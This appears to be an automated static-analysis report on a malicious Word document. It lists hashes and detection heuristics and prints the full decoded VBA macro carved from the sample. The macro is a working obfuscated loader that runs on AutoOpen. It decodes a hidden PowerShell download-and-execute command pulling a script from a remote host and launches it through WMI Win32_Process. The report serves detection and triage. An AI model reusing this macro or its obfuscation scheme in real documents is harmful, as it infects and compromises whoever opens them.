Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 95f23720d763e96a…

MALICIOUS

Office (OLE) / .DOC

40.5 KB Created: 2026-03-22 17:07:00 Authoring application: Microsoft Office Word First seen: 2026-06-26
MD5: 3e0584ed8b5a0816cc84ff059278e642 SHA-1: fbd8f6e3a12f9652b23752add0bdee21ec0d40c5 SHA-256: 95f23720d763e96ad14b764046ad4d4d7f4cf7c0bf3d9d81b952395664cfbacf
252 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10016896-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10016896-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    GetObject(Ottercreek("136122127126120126133132075")).Get(Ottercreek("104122127068067112097131128116118132132")).Create twistrate, wdthirty, bafflestrikes, beeeffoenonenine
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    GetObject(Ottercreek("136122127126120126133132075")).Get(Ottercreek("104122127068067112097131128116118132132")).Create twistrate, wdthirty, bafflestrikes, beeeffoenonenine
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1674 bytes
SHA-256: 98073882111834683b146eb3d457c4cc68d6187e8dd272a688631e6f021b7b6c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function Heckler(Kalash)
    Heckler = Chr(Kalash - 17)
End Function

Function Wesson(Armalite)
    Wesson = Left(Armalite, 3)
End Function

Function Strikefire(Squib)
    Strikefire = Right(Squib, Len(Squib) - 3)
End Function

Function Ottercreek(sevinsixtwo)
    Do
    OCL = OCL + Heckler(Wesson(sevinsixtwo))
    sevinsixtwo = Strikefire(sevinsixtwo)
    Loop While Len(sevinsixtwo) > 0
    Ottercreek = OCL
End Function

Function MyMacro()
    Dim Seventhreepowerstroke As String
    Dim twistrate As String
    
    If ActiveDocument.Name <> Ottercreek("131134127127118131063117128116") Then
  Exit Function
End If
    
    Seventhreepowerstroke = "129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063069070063066073073064131134127063133137133056058058"
    twistrate = Ottercreek(Seventhreepowerstroke)
    
GetObject(Ottercreek("136122127126120126133132075")).Get(Ottercreek("104122127068067112097131128116118132132")).Create twistrate, wdthirty, bafflestrikes, beeeffoenonenine
End Function

Sub AutoOpen()
    MyMacro
End Sub

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